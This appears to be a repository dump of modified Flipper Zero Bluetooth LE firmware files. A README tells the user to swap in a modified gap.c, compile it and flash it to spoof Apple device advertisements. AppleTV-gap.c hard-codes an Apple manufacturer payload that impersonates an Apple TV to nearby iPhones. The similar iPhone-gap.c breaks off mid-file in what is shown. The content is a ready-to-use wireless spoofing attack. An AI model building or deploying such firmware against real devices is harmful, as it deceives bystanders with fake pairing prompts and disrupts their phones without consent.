├── README.md ├── LICENSE ├── AppleTV-gap.c ├── iPhone-gap.c └── AirTag-gap.c /README.md: -------------------------------------------------------------------------------- 1 | # ADV-Spoof-FlipperZero 2 | This repository contains some modified gap.c file options of the Flipper's BLE function, which can be used to simulate ADV Packet Spoofing on Apple Devices. 3 | To perform this test, you should be in possesion of a Flipper Zero device. 4 | 5 | Usage: 6 | 1. Choose one of the listed files for the simulation 7 | 2. Download it and rename it to gap.c 8 | 3. Replace the original gap.c file on the firmware with the one you just got 9 | 4. Compile the flipper zero firmware and upload it to the device via qFlipper 10 | 11 | 12 | For more information check out the article: https://dionmulaj.medium.com/adv-packets-spoofing-on-apple-devices-via-ble-20f86cc6bf06 13 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Dion Mulaj 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /AppleTV-gap.c: -------------------------------------------------------------------------------- 1 | #include "gap.h" 2 | #include 3 | #include 4 | #include 5 | #define TAG "BtGap" 6 | #define FAST_ADV_TIMEOUT 30000 7 | #define INITIAL_ADV_TIMEOUT 60000 8 | #define GAP_INTERVAL_TO_MS(x)(uint16_t)((x) *1.25) 9 | 10 | 11 | typedef struct 12 | { 13 | uint16_t gap_svc_handle; 14 | uint16_t dev_name_char_handle; 15 | uint16_t appearance_char_handle; 16 | uint16_t connection_handle; 17 | uint8_t adv_svc_uuid_len; 18 | uint8_t adv_svc_uuid[20]; 19 | char *adv_name; 20 | } 21 | 22 | GapSvc; 23 | 24 | typedef struct 25 | { 26 | GapSvc service; 27 | GapConfig * config; 28 | GapConnectionParams connection_params; 29 | GapState state; 30 | FuriMutex * state_mutex; 31 | GapEventCallback on_event_cb; 32 | void *context; 33 | FuriTimer * advertise_timer; 34 | FuriThread * thread; 35 | FuriMessageQueue * command_queue; 36 | bool enable_adv; 37 | } 38 | 39 | Gap; 40 | 41 | typedef enum 42 | { 43 | GapCommandAdvFast, 44 | GapCommandAdvLowPower, 45 | GapCommandAdvStop, 46 | GapCommandKillThread, 47 | } 48 | 49 | GapCommand; 50 | 51 | static 52 | const uint8_t gap_irk[16] = { 0x12, 0x34, 0x56, 0x78, 0x9a, 0xbc, 0xde, 0xf0, 0x12, 0x34, 0x56, 0x78, 0x9a, 0xbc, 0xde, 0xf0 53 | }; 54 | 55 | static 56 | const uint8_t gap_erk[16] = { 0xfe, 0xdc, 0xba, 0x09, 0x87, 0x65, 0x43, 0x21, 0xfe, 0xdc, 0xba, 0x09, 0x87, 0x65, 0x43, 0x21 57 | }; 58 | 59 | static Gap *gap = NULL; 60 | 61 | static void gap_advertise_start(GapState new_state); 62 | static int32_t gap_app(void *context); 63 | 64 | static void gap_verify_connection_parameters(Gap *gap) 65 | { 66 | furi_assert(gap); 67 | 68 | FURI_LOG_I( TAG, 69 | "Connection parameters: Connection Interval: %d (%d ms), Slave Latency: %d, Supervision Timeout: %d", 70 | gap->connection_params.conn_interval, 71 | GAP_INTERVAL_TO_MS(gap->connection_params.conn_interval), 72 | gap->connection_params.slave_latency, 73 | gap->connection_params.supervisor_timeout); 74 | 75 | // Send connection parameters request update if necessary 76 | GapConnectionParamsRequest *params = &gap->config->conn_param; 77 | if (params->conn_int_min > gap->connection_params.conn_interval || 78 | params->conn_int_max < gap->connection_params.conn_interval) 79 | { 80 | FURI_LOG_W(TAG, "Unsupported connection interval. Request connection parameters update"); 81 | if (aci_l2cap_connection_parameter_update_req( gap->service.connection_handle, 82 | params->conn_int_min, 83 | params->conn_int_max, 84 | gap->connection_params.slave_latency, 85 | gap->connection_params.supervisor_timeout)) 86 | { 87 | FURI_LOG_E(TAG, "Failed to request connection parameters update"); 88 | } 89 | } 90 | } 91 | 92 | SVCCTL_UserEvtFlowStatus_t SVCCTL_App_Notification(void *pckt) 93 | { 94 | hci_event_pckt * event_pckt; 95 | evt_le_meta_event * meta_evt; 96 | evt_blue_aci * blue_evt; 97 | hci_le_phy_update_complete_event_rp0 * evt_le_phy_update_complete; 98 | uint8_t tx_phy; 99 | uint8_t rx_phy; 100 | tBleStatus ret = BLE_STATUS_INVALID_PARAMS; 101 | event_pckt = (hci_event_pckt*)((hci_uart_pckt*) pckt)->data; 102 | 103 | if (gap) 104 | { 105 | furi_mutex_acquire(gap->state_mutex, FuriWaitForever); 106 | } 107 | 108 | switch (event_pckt->evt) 109 | { 110 | case EVT_DISCONN_COMPLETE: 111 | { 112 | hci_disconnection_complete_event_rp0 *disconnection_complete_event = 113 | (hci_disconnection_complete_event_rp0*) event_pckt->data; 114 | if (disconnection_complete_event->Connection_Handle == gap->service.connection_handle) 115 | { 116 | gap->service.connection_handle = 0; 117 | gap->state = GapStateIdle; 118 | FURI_LOG_I( TAG, "Disconnect from client. Reason: %02X", disconnection_complete_event->Reason); 119 | } 120 | 121 | if (gap->enable_adv) 122 | { 123 | // Restart advertising 124 | gap_advertise_start(GapStateAdvFast); 125 | } 126 | 127 | GapEvent event = {.type = GapEventTypeDisconnected 128 | }; 129 | 130 | gap->on_event_cb(event, gap->context); 131 | } 132 | 133 | break; 134 | 135 | case EVT_LE_META_EVENT: 136 | meta_evt = (evt_le_meta_event*) event_pckt->data; 137 | switch (meta_evt->subevent) 138 | { 139 | case EVT_LE_CONN_UPDATE_COMPLETE: 140 | { 141 | hci_le_connection_update_complete_event_rp0 *event = 142 | (hci_le_connection_update_complete_event_rp0*) meta_evt->data; 143 | gap->connection_params.conn_interval = event->Conn_Interval; 144 | gap->connection_params.slave_latency = event->Conn_Latency; 145 | gap->connection_params.supervisor_timeout = event->Supervision_Timeout; 146 | FURI_LOG_I(TAG, "Connection parameters event complete"); 147 | gap_verify_connection_parameters(gap); 148 | break; 149 | } 150 | 151 | case EVT_LE_PHY_UPDATE_COMPLETE: 152 | evt_le_phy_update_complete = (hci_le_phy_update_complete_event_rp0*) meta_evt->data; 153 | if (evt_le_phy_update_complete->Status) 154 | { 155 | FURI_LOG_E( TAG, "Update PHY failed, status %d", evt_le_phy_update_complete->Status); 156 | } 157 | else 158 | { 159 | FURI_LOG_I(TAG, "Update PHY succeed"); 160 | } 161 | 162 | ret = hci_le_read_phy(gap->service.connection_handle, &tx_phy, &rx_phy); 163 | if (ret) 164 | { 165 | FURI_LOG_E(TAG, "Read PHY failed, status: %d", ret); 166 | } 167 | else 168 | { 169 | FURI_LOG_I(TAG, "PHY Params TX = %d, RX = %d ", tx_phy, rx_phy); 170 | } 171 | 172 | break; 173 | 174 | case EVT_LE_CONN_COMPLETE: 175 | { 176 | hci_le_connection_complete_event_rp0 *event = 177 | (hci_le_connection_complete_event_rp0*) meta_evt->data; 178 | gap->connection_params.conn_interval = event->Conn_Interval; 179 | gap->connection_params.slave_latency = event->Conn_Latency; 180 | gap->connection_params.supervisor_timeout = event->Supervision_Timeout; 181 | 182 | // Stop advertising as connection completed 183 | furi_timer_stop(gap->advertise_timer); 184 | 185 | // Update connection status and handle 186 | gap->state = GapStateConnected; 187 | gap->service.connection_handle = event->Connection_Handle; 188 | 189 | gap_verify_connection_parameters(gap); 190 | // Start pairing by sending security request 191 | aci_gap_slave_security_req(event->Connection_Handle); 192 | } 193 | 194 | break; 195 | 196 | default: 197 | break; 198 | } 199 | 200 | break; 201 | 202 | case EVT_VENDOR: 203 | blue_evt = (evt_blue_aci*) event_pckt->data; 204 | switch (blue_evt->ecode) 205 | { 206 | aci_gap_pairing_complete_event_rp0 * pairing_complete; 207 | 208 | case EVT_BLUE_GAP_LIMITED_DISCOVERABLE: 209 | FURI_LOG_I(TAG, "Limited discoverable event"); 210 | break; 211 | 212 | case EVT_BLUE_GAP_PASS_KEY_REQUEST: 213 | { 214 | // Generate random PIN code 215 | uint32_t pin = rand() % 999999; //-V1064 216 | aci_gap_pass_key_resp(gap->service.connection_handle, pin); 217 | if (furi_hal_rtc_is_flag_set(FuriHalRtcFlagLock)) 218 | { 219 | FURI_LOG_I(TAG, "Pass key request event. Pin: ******"); 220 | } 221 | else 222 | { 223 | FURI_LOG_I(TAG, "Pass key request event. Pin: %06ld", pin); 224 | } 225 | 226 | GapEvent event = {.type = GapEventTypePinCodeShow, .data.pin_code = pin 227 | }; 228 | 229 | gap->on_event_cb(event, gap->context); 230 | } 231 | 232 | break; 233 | 234 | case EVT_BLUE_ATT_EXCHANGE_MTU_RESP: 235 | { 236 | aci_att_exchange_mtu_resp_event_rp0 *pr = (void*) blue_evt->data; 237 | FURI_LOG_I(TAG, "Rx MTU size: %d", pr->Server_RX_MTU); 238 | // Set maximum packet size given header size is 3 bytes 239 | GapEvent event = { .type = GapEventTypeUpdateMTU, .data.max_packet_size = pr->Server_RX_MTU - 3 240 | }; 241 | 242 | gap->on_event_cb(event, gap->context); 243 | } 244 | 245 | break; 246 | 247 | case EVT_BLUE_GAP_AUTHORIZATION_REQUEST: 248 | FURI_LOG_D(TAG, "Authorization request event"); 249 | break; 250 | 251 | case EVT_BLUE_GAP_SLAVE_SECURITY_INITIATED: 252 | FURI_LOG_D(TAG, "Slave security initiated"); 253 | break; 254 | 255 | case EVT_BLUE_GAP_BOND_LOST: 256 | FURI_LOG_D(TAG, "Bond lost event. Start rebonding"); 257 | aci_gap_allow_rebond(gap->service.connection_handle); 258 | break; 259 | 260 | case EVT_BLUE_GAP_DEVICE_FOUND: 261 | FURI_LOG_D(TAG, "Device found event"); 262 | break; 263 | 264 | case EVT_BLUE_GAP_ADDR_NOT_RESOLVED: 265 | FURI_LOG_D(TAG, "Address not resolved event"); 266 | break; 267 | 268 | case EVT_BLUE_GAP_KEYPRESS_NOTIFICATION: 269 | FURI_LOG_D(TAG, "Key press notification event"); 270 | break; 271 | 272 | case EVT_BLUE_GAP_NUMERIC_COMPARISON_VALUE: 273 | { 274 | uint32_t pin = 275 | ((aci_gap_numeric_comparison_value_event_rp0*)(blue_evt->data))->Numeric_Value; 276 | FURI_LOG_I(TAG, "Verify numeric comparison: %06ld", pin); 277 | GapEvent event = {.type = GapEventTypePinCodeVerify, .data.pin_code = pin 278 | }; 279 | 280 | bool result = gap->on_event_cb(event, gap->context); 281 | aci_gap_numeric_comparison_value_confirm_yesno(gap->service.connection_handle, result); 282 | break; 283 | } 284 | 285 | case EVT_BLUE_GAP_PAIRING_CMPLT: 286 | pairing_complete = (aci_gap_pairing_complete_event_rp0*) blue_evt->data; 287 | if (pairing_complete->Status) 288 | { 289 | FURI_LOG_E( TAG, 290 | "Pairing failed with status: %d. Terminating connection", 291 | pairing_complete->Status); 292 | aci_gap_terminate(gap->service.connection_handle, 5); 293 | } 294 | else 295 | { 296 | FURI_LOG_I(TAG, "Pairing complete"); 297 | GapEvent event = {.type = GapEventTypeConnected 298 | }; 299 | 300 | gap->on_event_cb(event, gap->context); 301 | } 302 | 303 | break; 304 | 305 | case EVT_BLUE_GAP_PROCEDURE_COMPLETE: 306 | FURI_LOG_D(TAG, "Procedure complete event"); 307 | break; 308 | 309 | case EVT_BLUE_L2CAP_CONNECTION_UPDATE_RESP: 310 | { 311 | uint16_t result = 312 | ((aci_l2cap_connection_update_resp_event_rp0*)(blue_evt->data))->Result; 313 | if (result == 0) 314 | { 315 | FURI_LOG_D(TAG, "Connection parameters accepted"); 316 | } 317 | else if (result == 1) 318 | { 319 | FURI_LOG_D(TAG, "Connection parameters denied"); 320 | } 321 | 322 | break; 323 | } 324 | } 325 | 326 | default: 327 | break; 328 | } 329 | 330 | if (gap) 331 | { 332 | furi_mutex_release(gap->state_mutex); 333 | } 334 | 335 | return SVCCTL_UserEvtFlowEnable; 336 | } 337 | 338 | static void set_advertisment_service_uid(uint8_t *uid, uint8_t uid_len) 339 | { 340 | if (uid_len == 2) 341 | { 342 | gap->service.adv_svc_uuid[0] = AD_TYPE_16_BIT_SERV_UUID; 343 | } 344 | else if (uid_len == 4) 345 | { 346 | gap->service.adv_svc_uuid[0] = AD_TYPE_32_BIT_SERV_UUID; 347 | } 348 | else if (uid_len == 16) 349 | { 350 | gap->service.adv_svc_uuid[0] = AD_TYPE_128_BIT_SERV_UUID_CMPLT_LIST; 351 | } 352 | 353 | memcpy(&gap->service.adv_svc_uuid[gap->service.adv_svc_uuid_len], uid, uid_len); 354 | gap->service.adv_svc_uuid_len += uid_len; 355 | } 356 | 357 | static void gap_init_svc(Gap *gap) 358 | { 359 | tBleStatus status; 360 | uint32_t srd_bd_addr[2]; 361 | 362 | // HCI Reset to synchronise BLE Stack 363 | hci_reset(); 364 | // Configure mac address 365 | aci_hal_write_config_data( CONFIG_DATA_PUBADDR_OFFSET, CONFIG_DATA_PUBADDR_LEN, gap->config->mac_address); 366 | 367 | /*Static random Address 368 | *The two upper bits shall be set to 1 369 | *The lowest 32bits is read from the UDN to differentiate between devices 370 | *The RNG may be used to provide a random number on each power on 371 | */ 372 | srd_bd_addr[1] = 0x0000ED6E; 373 | srd_bd_addr[0] = LL_FLASH_GetUDN(); 374 | aci_hal_write_config_data( CONFIG_DATA_RANDOM_ADDRESS_OFFSET, CONFIG_DATA_RANDOM_ADDRESS_LEN, (uint8_t*) srd_bd_addr); 375 | // Set Identity root key used to derive LTK and CSRK 376 | aci_hal_write_config_data(CONFIG_DATA_IR_OFFSET, CONFIG_DATA_IR_LEN, (uint8_t*) gap_irk); 377 | // Set Encryption root key used to derive LTK and CSRK 378 | aci_hal_write_config_data(CONFIG_DATA_ER_OFFSET, CONFIG_DATA_ER_LEN, (uint8_t*) gap_erk); 379 | // Set TX Power to 0 dBm 380 | aci_hal_set_tx_power_level(1, 0x19); 381 | // Initialize GATT interface 382 | aci_gatt_init(); 383 | // Initialize GAP interface 384 | // Skip fist symbol AD_TYPE_COMPLETE_LOCAL_NAME 385 | char *name = gap->service.adv_name + 1; 386 | aci_gap_init( GAP_PERIPHERAL_ROLE, 387 | 0, 388 | strlen(name), &gap->service.gap_svc_handle, &gap->service.dev_name_char_handle, &gap->service.appearance_char_handle); 389 | 390 | // Set GAP characteristics 391 | status = aci_gatt_update_char_value( gap->service.gap_svc_handle, 392 | gap->service.dev_name_char_handle, 393 | 0, 394 | strlen(name), 395 | (uint8_t*) name); 396 | if (status) 397 | { 398 | FURI_LOG_E(TAG, "Failed updating name characteristic: %d", status); 399 | } 400 | 401 | uint8_t gap_appearence_char_uuid[2] = { gap->config->appearance_char &0xff, gap->config->appearance_char >> 8 402 | }; 403 | 404 | status = aci_gatt_update_char_value( gap->service.gap_svc_handle, 405 | gap->service.appearance_char_handle, 406 | 0, 407 | 2, 408 | gap_appearence_char_uuid); 409 | if (status) 410 | { 411 | FURI_LOG_E(TAG, "Failed updating appearence characteristic: %d", status); 412 | } 413 | 414 | // Set default PHY 415 | hci_le_set_default_phy(ALL_PHYS_PREFERENCE, TX_2M_PREFERRED, RX_2M_PREFERRED); 416 | // Set I/O capability 417 | bool keypress_supported = false; 418 | if (gap->config->pairing_method == GapPairingPinCodeShow) 419 | { 420 | aci_gap_set_io_capability(IO_CAP_DISPLAY_ONLY); 421 | } 422 | else if (gap->config->pairing_method == GapPairingPinCodeVerifyYesNo) 423 | { 424 | aci_gap_set_io_capability(IO_CAP_DISPLAY_YES_NO); 425 | keypress_supported = true; 426 | } 427 | 428 | // Setup authentication 429 | aci_gap_set_authentication_requirement( gap->config->bonding_mode, 430 | CFG_MITM_PROTECTION, 431 | CFG_SC_SUPPORT, 432 | keypress_supported, 433 | CFG_ENCRYPTION_KEY_SIZE_MIN, 434 | CFG_ENCRYPTION_KEY_SIZE_MAX, 435 | CFG_USED_FIXED_PIN, 436 | 0, 437 | PUBLIC_ADDR); 438 | // Configure whitelist 439 | aci_gap_configure_whitelist(); 440 | } 441 | 442 | static void gap_advertise_start(GapState new_state) 443 | { 444 | FURI_LOG_E(TAG, "gap_advertise_start"); 445 | 446 | tBleStatus status; 447 | uint16_t min_interval; 448 | uint16_t max_interval; 449 | 450 | if (new_state == GapStateAdvFast) 451 | { 452 | min_interval = 0x80; // 80 ms 453 | max_interval = 0xa0; // 100 ms 454 | } 455 | else 456 | { 457 | min_interval = 0x0640; // 1 s 458 | max_interval = 0x0fa0; // 2.5 s 459 | } 460 | 461 | // Stop advertising timer 462 | furi_timer_stop(gap->advertise_timer); 463 | 464 | if ((new_state == GapStateAdvLowPower) && 465 | ((gap->state == GapStateAdvFast) || (gap->state == GapStateAdvLowPower))) 466 | { 467 | // Stop advertising 468 | status = aci_gap_set_non_discoverable(); 469 | if (status) 470 | { 471 | FURI_LOG_E(TAG, "set_non_discoverable failed %d", status); 472 | } 473 | else 474 | { 475 | FURI_LOG_D(TAG, "set_non_discoverable success"); 476 | } 477 | } 478 | 479 | static 480 | const uint16_t gap_appearance = 0x0000; //GAP_APPEARANCE_UNKNOWN 481 | 482 | status = aci_gatt_update_char_value(gap->service.gap_svc_handle, 483 | gap->service.gap_svc_handle, 484 | 0, 485 | sizeof(gap_appearance), 486 | (uint8_t*) &gap_appearance); 487 | 488 | status = aci_gap_set_discoverable( ADV_IND, 489 | min_interval, 490 | max_interval, 491 | PUBLIC_ADDR, 492 | 0, 493 | 0, NULL, 494 | 0, NULL, 495 | 0, 496 | 0); 497 | status = aci_gap_delete_ad_type(AD_TYPE_FLAGS); 498 | status = aci_gap_delete_ad_type(AD_TYPE_TX_POWER_LEVEL); 499 | 500 | const uint8_t choiceSelection[] = { 501 | 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x20, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc0, 0x27, 0x60, 0x4c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 502 | status = aci_gap_update_adv_data(0x17, choiceSelection); 503 | 504 | gap->state = new_state; 505 | GapEvent event = {.type = GapEventTypeStartAdvertising 506 | }; 507 | 508 | gap->on_event_cb(event, gap->context); 509 | furi_timer_start(gap->advertise_timer, INITIAL_ADV_TIMEOUT); 510 | } 511 | 512 | static void gap_advertise_stop() 513 | { 514 | tBleStatus ret; 515 | if (gap->state > GapStateIdle) 516 | { 517 | if (gap->state == GapStateConnected) 518 | { 519 | // Terminate connection 520 | ret = aci_gap_terminate(gap->service.connection_handle, 0x13); 521 | if (ret != BLE_STATUS_SUCCESS) 522 | { 523 | FURI_LOG_E(TAG, "terminate failed %d", ret); 524 | } 525 | else 526 | { 527 | FURI_LOG_D(TAG, "terminate success"); 528 | } 529 | } 530 | 531 | // Stop advertising 532 | furi_timer_stop(gap->advertise_timer); 533 | ret = aci_gap_set_non_discoverable(); 534 | if (ret != BLE_STATUS_SUCCESS) 535 | { 536 | FURI_LOG_E(TAG, "set_non_discoverable failed %d", ret); 537 | } 538 | else 539 | { 540 | FURI_LOG_D(TAG, "set_non_discoverable success"); 541 | } 542 | 543 | gap->state = GapStateIdle; 544 | } 545 | 546 | GapEvent event = {.type = GapEventTypeStopAdvertising 547 | }; 548 | 549 | gap->on_event_cb(event, gap->context); 550 | } 551 | 552 | void gap_start_advertising() 553 | { 554 | furi_mutex_acquire(gap->state_mutex, FuriWaitForever); 555 | if (gap->state == GapStateIdle) 556 | { 557 | gap->state = GapStateStartingAdv; 558 | FURI_LOG_I(TAG, "Start advertising"); 559 | gap->enable_adv = true; 560 | GapCommand command = GapCommandAdvFast; 561 | furi_check(furi_message_queue_put(gap->command_queue, &command, 0) == FuriStatusOk); 562 | } 563 | 564 | furi_mutex_release(gap->state_mutex); 565 | } 566 | 567 | void gap_stop_advertising() 568 | { 569 | furi_mutex_acquire(gap->state_mutex, FuriWaitForever); 570 | if (gap->state > GapStateIdle) 571 | { 572 | FURI_LOG_I(TAG, "Stop advertising"); 573 | gap->enable_adv = false; 574 | GapCommand command = GapCommandAdvStop; 575 | furi_check(furi_message_queue_put(gap->command_queue, &command, 0) == FuriStatusOk); 576 | } 577 | 578 | furi_mutex_release(gap->state_mutex); 579 | } 580 | 581 | static void gap_advetise_timer_callback(void *context) 582 | { 583 | UNUSED(context); 584 | GapCommand command = GapCommandAdvLowPower; 585 | furi_check(furi_message_queue_put(gap->command_queue, &command, 0) == FuriStatusOk); 586 | } 587 | 588 | bool gap_init(GapConfig *config, GapEventCallback on_event_cb, void *context) 589 | { 590 | if (!ble_glue_is_radio_stack_ready()) 591 | { 592 | return false; 593 | } 594 | 595 | gap = malloc(sizeof(Gap)); 596 | gap->config = config; 597 | // Create advertising timer 598 | gap->advertise_timer = furi_timer_alloc(gap_advetise_timer_callback, FuriTimerTypeOnce, NULL); 599 | // Initialization of GATT &GAP layer 600 | gap->service.adv_name = config->adv_name; 601 | gap_init_svc(gap); 602 | // Initialization of the BLE Services 603 | SVCCTL_Init(); 604 | // Initialization of the GAP state 605 | gap->state_mutex = furi_mutex_alloc(FuriMutexTypeNormal); 606 | gap->state = GapStateIdle; 607 | gap->service.connection_handle = 0xFFFF; 608 | gap->enable_adv = true; 609 | 610 | // Thread configuration 611 | gap->thread = furi_thread_alloc(); 612 | furi_thread_set_name(gap->thread, "BleGapDriver"); 613 | furi_thread_set_stack_size(gap->thread, 1024); 614 | furi_thread_set_context(gap->thread, gap); 615 | furi_thread_set_callback(gap->thread, gap_app); 616 | furi_thread_start(gap->thread); 617 | 618 | // Command queue allocation 619 | gap->command_queue = furi_message_queue_alloc(8, sizeof(GapCommand)); 620 | 621 | uint8_t adv_service_uid[2]; 622 | gap->service.adv_svc_uuid_len = 1; 623 | adv_service_uid[0] = gap->config->adv_service_uuid &0xff; 624 | adv_service_uid[1] = gap->config->adv_service_uuid >> 8; 625 | set_advertisment_service_uid(adv_service_uid, sizeof(adv_service_uid)); 626 | 627 | // Set callback 628 | gap->on_event_cb = on_event_cb; 629 | gap->context = context; 630 | return true; 631 | } 632 | 633 | GapState gap_get_state() 634 | { 635 | GapState state; 636 | if (gap) 637 | { 638 | furi_mutex_acquire(gap->state_mutex, FuriWaitForever); 639 | state = gap->state; 640 | furi_mutex_release(gap->state_mutex); 641 | } 642 | else 643 | { 644 | state = GapStateUninitialized; 645 | } 646 | 647 | return state; 648 | } 649 | 650 | void gap_thread_stop() 651 | { 652 | if (gap) 653 | { 654 | furi_mutex_acquire(gap->state_mutex, FuriWaitForever); 655 | gap->enable_adv = false; 656 | GapCommand command = GapCommandKillThread; 657 | furi_message_queue_put(gap->command_queue, &command, FuriWaitForever); 658 | furi_mutex_release(gap->state_mutex); 659 | furi_thread_join(gap->thread); 660 | furi_thread_free(gap->thread); 661 | // Free resources 662 | furi_mutex_free(gap->state_mutex); 663 | furi_message_queue_free(gap->command_queue); 664 | furi_timer_stop(gap->advertise_timer); 665 | while (xTimerIsTimerActive(gap->advertise_timer) == pdTRUE) furi_delay_tick(1); 666 | furi_timer_free(gap->advertise_timer); 667 | free(gap); 668 | gap = NULL; 669 | } 670 | } 671 | 672 | static int32_t gap_app(void *context) 673 | { 674 | UNUSED(context); 675 | GapCommand command; 676 | while (1) 677 | { 678 | FuriStatus status = furi_message_queue_get(gap->command_queue, &command, FuriWaitForever); 679 | if (status != FuriStatusOk) 680 | { 681 | FURI_LOG_E(TAG, "Message queue get error: %d", status); 682 | continue; 683 | } 684 | 685 | furi_mutex_acquire(gap->state_mutex, FuriWaitForever); 686 | if (command == GapCommandKillThread) 687 | { 688 | break; 689 | } 690 | 691 | if (command == GapCommandAdvFast) 692 | { 693 | gap_advertise_start(GapStateAdvFast); 694 | } 695 | else if (command == GapCommandAdvLowPower) 696 | { 697 | gap_advertise_start(GapStateAdvLowPower); 698 | } 699 | else if (command == GapCommandAdvStop) 700 | { 701 | gap_advertise_stop(); 702 | } 703 | 704 | furi_mutex_release(gap->state_mutex); 705 | } 706 | 707 | return 0; 708 | } -------------------------------------------------------------------------------- /iPhone-gap.c: -------------------------------------------------------------------------------- 1 | #include "gap.h" 2 | #include 3 | #include 4 | #include 5 | #define TAG "BtGap" 6 | #define FAST_ADV_TIMEOUT 30000 7 | #define INITIAL_ADV_TIMEOUT 60000 8 | #define GAP_INTERVAL_TO_MS(x)(uint16_t)((x) *1.25) 9 | 10 | 11 | typedef struct 12 | { 13 | uint16_t gap_svc_handle; 14 | uint16_t dev_name_char_handle; 15 | uint16_t appearance_char_handle; 16 | uint16_t connection_handle; 17 | uint8_t adv_svc_uuid_len; 18 | uint8_t adv_svc_uuid[20]; 19 | char *adv_name; 20 | } 21 | 22 | GapSvc; 23 | 24 | typedef struct 25 | { 26 | GapSvc service; 27 | GapConfig * config; 28 | GapConnectionParams connection_params; 29 | GapState state; 30 | FuriMutex * state_mutex; 31 | GapEventCallback on_event_cb; 32 | void *context; 33 | FuriTimer * advertise_timer; 34 | FuriThread * thread; 35 | FuriMessageQueue * command_queue; 36 | bool enable_adv; 37 | } 38 | 39 | Gap; 40 | 41 | typedef enum 42 | { 43 | GapCommandAdvFast, 44 | GapCommandAdvLowPower, 45 | GapCommandAdvStop, 46 | GapCommandKillThread, 47 | } 48 | 49 | GapCommand; 50 | 51 | static 52 | const uint8_t gap_irk[16] = { 0x12, 0x34, 0x56, 0x78, 0x9a, 0xbc, 0xde, 0xf0, 0x12, 0x34, 0x56, 0x78, 0x9a, 0xbc, 0xde, 0xf0 53 | }; 54 | 55 | static 56 | const uint8_t gap_erk[16] = { 0xfe, 0xdc, 0xba, 0x09, 0x87, 0x65, 0x43, 0x21, 0xfe, 0xdc, 0xba, 0x09, 0x87, 0x65, 0x43, 0x21 57 | }; 58 | 59 | static Gap *gap = NULL; 60 | 61 | static void gap_advertise_start(GapState new_state); 62 | static int32_t gap_app(void *context); 63 | 64 | static void gap_verify_connection_parameters(Gap *gap) 65 | { 66 | furi_assert(gap); 67 | 68 | FURI_LOG_I( TAG, 69 | "Connection parameters: Connection Interval: %d (%d ms), Slave Latency: %d, Supervision Timeout: %d", 70 | gap->connection_params.conn_interval, 71 | GAP_INTERVAL_TO_MS(gap->connection_params.conn_interval), 72 | gap->connection_params.slave_latency, 73 | gap->connection_params.supervisor_timeout); 74 | 75 | // Send connection parameters request update if necessary 76 | GapConnectionParamsRequest *params = &gap->config->conn_param; 77 | if (params->conn_int_min > gap->connection_params.conn_interval || 78 | params->conn_int_max < gap->connection_params.conn_interval) 79 | { 80 | FURI_LOG_W(TAG, "Unsupported connection interval. Request connection parameters update"); 81 | if (aci_l2cap_connection_parameter_update_req( gap->service.connection_handle, 82 | params->conn_int_min, 83 | params->conn_int_max, 84 | gap->connection_params.slave_latency, 85 | gap->connection_params.supervisor_timeout)) 86 | { 87 | FURI_LOG_E(TAG, "Failed to request connection parameters update"); 88 | } 89 | } 90 | } 91 | 92 | SVCCTL_UserEvtFlowStatus_t SVCCTL_App_Notification(void *pckt) 93 | { 94 | hci_event_pckt * event_pckt; 95 | evt_le_meta_event * meta_evt; 96 | evt_blue_aci * blue_evt; 97 | hci_le_phy_update_complete_event_rp0 * evt_le_phy_update_complete; 98 | uint8_t tx_phy; 99 | uint8_t rx_phy; 100 | tBleStatus ret = BLE_STATUS_INVALID_PARAMS; 101 | event_pckt = (hci_event_pckt*)((hci_uart_pckt*) pckt)->data; 102 | 103 | if (gap) 104 | { 105 | furi_mutex_acquire(gap->state_mutex, FuriWaitForever); 106 | } 107 | 108 | switch (event_pckt->evt) 109 | { 110 | case EVT_DISCONN_COMPLETE: 111 | { 112 | hci_disconnection_complete_event_rp0 *disconnection_complete_event = 113 | (hci_disconnection_complete_event_rp0*) event_pckt->data; 114 | if (disconnection_complete_event->Connection_Handle == gap->service.connection_handle) 115 | { 116 | gap->service.connection_handle = 0; 117 | gap->state = GapStateIdle; 118 | FURI_LOG_I( TAG, "Disconnect from client. Reason: %02X", disconnection_complete_event->Reason); 119 | } 120 | 121 | if (gap->enable_adv) 122 | { 123 | // Restart advertising 124 | gap_advertise_start(GapStateAdvFast); 125 | } 126 | 127 | GapEvent event = {.type = GapEventTypeDisconnected 128 | }; 129 | 130 | gap->on_event_cb(event, gap->context); 131 | } 132 | 133 | break; 134 | 135 | case EVT_LE_META_EVENT: 136 | meta_evt = (evt_le_meta_event*) event_pckt->data; 137 | switch (meta_evt->subevent) 138 | { 139 | case EVT_LE_CONN_UPDATE_COMPLETE: 140 | { 141 | hci_le_connection_update_complete_event_rp0 *event = 142 | (hci_le_connection_update_complete_event_rp0*) meta_evt->data; 143 | gap->connection_params.conn_interval = event->Conn_Interval; 144 | gap->connection_params.slave_latency = event->Conn_Latency; 145 | gap->connection_params.supervisor_timeout = event->Supervision_Timeout; 146 | FURI_LOG_I(TAG, "Connection parameters event complete"); 147 | gap_verify_connection_parameters(gap); 148 | break; 149 | } 150 | 151 | case EVT_LE_PHY_UPDATE_COMPLETE: 152 | evt_le_phy_update_complete = (hci_le_phy_update_complete_event_rp0*) meta_evt->data; 153 | if (evt_le_phy_update_complete->Status) 154 | { 155 | FURI_LOG_E( TAG, "Update PHY failed, 